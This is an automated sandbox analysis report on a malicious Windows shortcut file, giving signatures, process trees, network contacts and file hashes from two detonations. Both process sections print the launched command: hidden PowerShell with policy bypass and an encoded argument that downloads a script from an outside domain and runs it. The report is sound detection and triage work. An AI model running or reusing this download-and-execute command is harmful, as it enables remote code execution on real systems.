Malware Analysis Report

2024-11-13 13:51

Sample ID 240411-wg8bjsgf89
Target 0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk
SHA256 0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2
Tags
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2

Threat Level: Likely malicious

The file 0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk was found to be: Likely malicious.

Malicious Activity Summary


Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-11 17:54

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-11 17:54

Reported

2024-04-11 17:57

Platform

win10v2004-20240226-en

Max time kernel

92s

Max time network

124s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2052 wrote to memory of 4184 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 4184 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

Country Destination Domain Proto
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 218.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 50.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 203.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3u3jk5w.flg.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4184-7-0x0000012DEDAC0000-0x0000012DEDAE2000-memory.dmp

memory/4184-12-0x00007FFF87E40000-0x00007FFF88901000-memory.dmp

memory/4184-13-0x0000012DD4960000-0x0000012DD4970000-memory.dmp

memory/4184-16-0x00007FFF87E40000-0x00007FFF88901000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-11 17:54

Reported

2024-04-11 17:57

Platform

win7-20240221-en

Max time kernel

119s

Max time network

120s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2208 wrote to memory of 2424 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2208 wrote to memory of 2424 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2208 wrote to memory of 2424 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2424-39-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

memory/2424-38-0x000000001B510000-0x000000001B7F2000-memory.dmp

memory/2424-41-0x00000000026E0000-0x00000000026E8000-memory.dmp

memory/2424-40-0x0000000002C90000-0x0000000002D10000-memory.dmp

memory/2424-42-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

memory/2424-44-0x0000000002C90000-0x0000000002D10000-memory.dmp

memory/2424-43-0x0000000002C90000-0x0000000002D10000-memory.dmp

memory/2424-45-0x0000000002C90000-0x0000000002D10000-memory.dmp

memory/2424-46-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp